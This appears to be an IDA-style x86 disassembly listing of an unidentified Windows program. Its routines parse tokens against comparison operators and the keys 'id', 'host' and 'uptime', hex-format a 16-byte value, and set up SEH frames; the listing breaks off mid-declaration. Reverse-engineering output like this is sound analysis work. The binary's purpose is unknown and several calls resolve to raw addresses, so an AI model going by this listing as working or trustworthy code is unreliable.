xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC6E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop esi
retn
sub_412C20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C60 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412C60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412C90 proc near ; CODE XREF: sub_401B68j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412C90 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412CE0 proc near ; CODE XREF: sub_401F1Ej
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412CE0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_412CE0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412D80: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43AC4E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4130A6
push ebx
push edi
push offset asc_444600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016B8
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016B8
push offset asc_444600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016B8
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013E3
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013E3
lea ecx, [esp+40h]
add ebx, eax
call sub_4013E3
mov ecx, edi
add ebx, eax
call sub_4013E3
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E47
push offset asc_444600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016B8
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E47
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40202C
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40202C
push offset asc_444D2C ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F05
xor edi, edi
loc_412F05: ; CODE XREF: ___:00412F01j
push offset asc_444D28 ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F1C
mov edi, 1
loc_412F1C: ; CODE XREF: ___:00412F15j
push offset asc_444D24 ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F33
mov edi, 2
loc_412F33: ; CODE XREF: ___:00412F2Cj
push offset asc_444D20 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F4A
mov edi, 3
loc_412F4A: ; CODE XREF: ___:00412F43j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FA4
test edi, edi
jnz short loc_412F7A
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44956A
call sub_4012EE
test eax, eax
jz short loc_412FA4
jmp short loc_412F97
; ---------------------------------------------------------------------------
loc_412F7A: ; CODE XREF: ___:00412F5Ej
cmp edi, 1
jnz short loc_412FA4
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44956A
call sub_4012EE
test eax, eax
jnz short loc_412FA4
loc_412F97: ; CODE XREF: ___:00412F78j
push 0
push esi
mov ecx, offset byte_449287
call sub_401A41
loc_412FA4: ; CODE XREF: ___:00412F5Aj
; ___:00412F76j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FF7
test edi, edi
jnz short loc_412FD8
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D80AD
call sub_4013ED
test eax, eax
jnz loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_412FD8: ; CODE XREF: ___:00412FB8j
cmp edi, 1
jnz short loc_413059
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D80AD
call sub_4013ED
test eax, eax
jz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_412FF7: ; CODE XREF: ___:00412FB4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_413059
lea ecx, [esp+10h]
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_40165E
test edi, edi
jnz short loc_41302D
cmp eax, ebx
jz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_41302D: ; CODE XREF: ___:00413025j
cmp edi, 1
jnz short loc_413038
cmp eax, ebx
jnz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413038: ; CODE XREF: ___:00413030j
cmp edi, 2
jnz short loc_413043
cmp eax, ebx
jle short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: ___:0041303Bj
cmp edi, 3
jnz short loc_413059
cmp eax, ebx
jge short loc_413059
loc_41304C: ; CODE XREF: ___:00412FD6j
; ___:00412FF5j ...
push 0
push esi
mov ecx, offset byte_449287
call sub_401A41
loc_413059: ; CODE XREF: ___:00412FD0j
; ___:00412FDBj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_4130A8
; ---------------------------------------------------------------------------
loc_4130A6: ; CODE XREF: ___:00412DB9j
mov al, 1
loc_4130A8: ; CODE XREF: ___:004130A4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4131B0 proc near ; CODE XREF: sub_40165Ej
nop
call near ptr 27E0CD2h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4131B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_402018j
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4131F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401753
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F23
sub_4131F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401852
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43F044
call sub_401933
mov ecx, ebx
call sub_401C76
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j
push esi
mov esi, ecx
call sub_401CA3
sub_4132C0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_4132D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4132D8: ; CODE XREF: ___:004132CDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132F0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43F044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401933
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C76
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014BF
sub_4132F0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4133B0 proc near ; CODE XREF: sub_401A05j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4133B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_4133B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
lea edx, [esp+28h]
push 13h
push edx
call sub_4019C4
add esp, 14h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4134A0 proc near ; CODE XREF: sub_401CE4j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4134A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017EE
test eax, eax
jz short loc_413547
lea ecx, [esp+18h+var_14]
call sub_402275
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413547
loc_413508: ; CODE XREF: sub_4134A0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41356C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413508
loc_413547: ; CODE XREF: sub_4134A0+2Ej
; sub_4134A0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41356C: ; CODE XREF: sub_4134A0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4134A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4135E0 proc near ; CODE XREF: sub_402130j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4135E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017EE
test eax, eax
jz loc_4136B3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401992
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jz short loc_4136B3
loc_41364F: ; CODE XREF: sub_4135E0+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014D3
mov ecx, ebx
call sub_401CE4
mov esi, eax
test esi, esi
jz short loc_41367C
mov edi, [esi]
loc_41367C: ; CODE XREF: sub_4135E0+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B86
test eax, eax
jz short loc_4136DB
test esi, esi
jnz short loc_4136DB
lea ecx, [esp+28h+var_18]
call sub_4018C5
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jnz short loc_41364F
loc_4136B3: ; CODE XREF: sub_4135E0+31j
; sub_4135E0+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4136C6: ; CODE XREF: sub_4135E0+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_4136DB: ; CODE XREF: sub_4135E0+AAj
; sub_4135E0+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4136C6
sub_4135E0 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413740 proc near ; CODE XREF: sub_401F64j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413740
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017EE
test eax, eax
jz short loc_4137E4
lea ecx, [esp+14h+var_14]
call sub_401E38
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jz short loc_4137E4
loc_4137A6: ; CODE XREF: sub_413740+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jz short loc_413816
lea ecx, [esp+14h+var_14]
call sub_4020C2
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jnz short loc_4137A6
loc_4137E4: ; CODE XREF: sub_413740+2Bj
; sub_413740+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401582
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413816: ; CODE XREF: sub_413740+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401582
sub_413740 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4138B0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4138B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017EE
test eax, eax
jz loc_4139E3
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A69
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_40142E
push offset byte_448F40
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015E1
lea ecx, [esp+0A8h+arg_0]
call sub_4013E3
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014DD
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C26
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402176
add esp, 14h
loc_41394B: ; CODE XREF: sub_4138B0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_40142E
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016C7
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41394B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B86
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_4139DE
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4139FC
; ---------------------------------------------------------------------------
loc_4139DE: ; CODE XREF: sub_4138B0+10Cj
call sub_401226
loc_4139E3: ; CODE XREF: sub_4138B0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4139FC: ; CODE XREF: sub_4138B0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4138B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413A80 proc near ; CODE XREF: sub_40192Ej
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413A80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014D3
mov ecx, esi
call sub_402130
test eax, eax
jz short loc_413B2E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_401726
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014D3
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F64
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413B2E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413B2E: ; CODE XREF: sub_413A80+3Fj
; sub_413A80+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_413A80 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413BB0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_43AE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40192E
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413C40 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413C40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413D89
lea ecx, [esp+48h+arg_0]
call sub_4017EE
test eax, eax
jz loc_413D89
push esi
push edi
push offset asc_444C7C ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413D63
add ebp, 54h
loc_413CC0: ; CODE XREF: sub_413C40+11Dj
push 15h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413CE0
mov ecx, eax
call sub_401F4B
jmp short loc_413CE2
; ---------------------------------------------------------------------------
loc_413CE0: ; CODE XREF: sub_413C40+95j
xor eax, eax
loc_413CE2: ; CODE XREF: sub_413C40+9Ej
push offset asc_444C7C ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016B8
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40202C
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_401488
; ---------------------------------------------------------------------------
inc esi
push offset asc_444C7C ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413CC0
loc_413D63: ; CODE XREF: sub_413C40+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413D89: ; CODE XREF: sub_413C40+26j
; sub_413C40+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413C40 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E10 proc near ; CODE XREF: sub_401F4Bj
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_413E10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413E30: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401870
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E70 proc near ; CODE XREF: sub_4018ACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
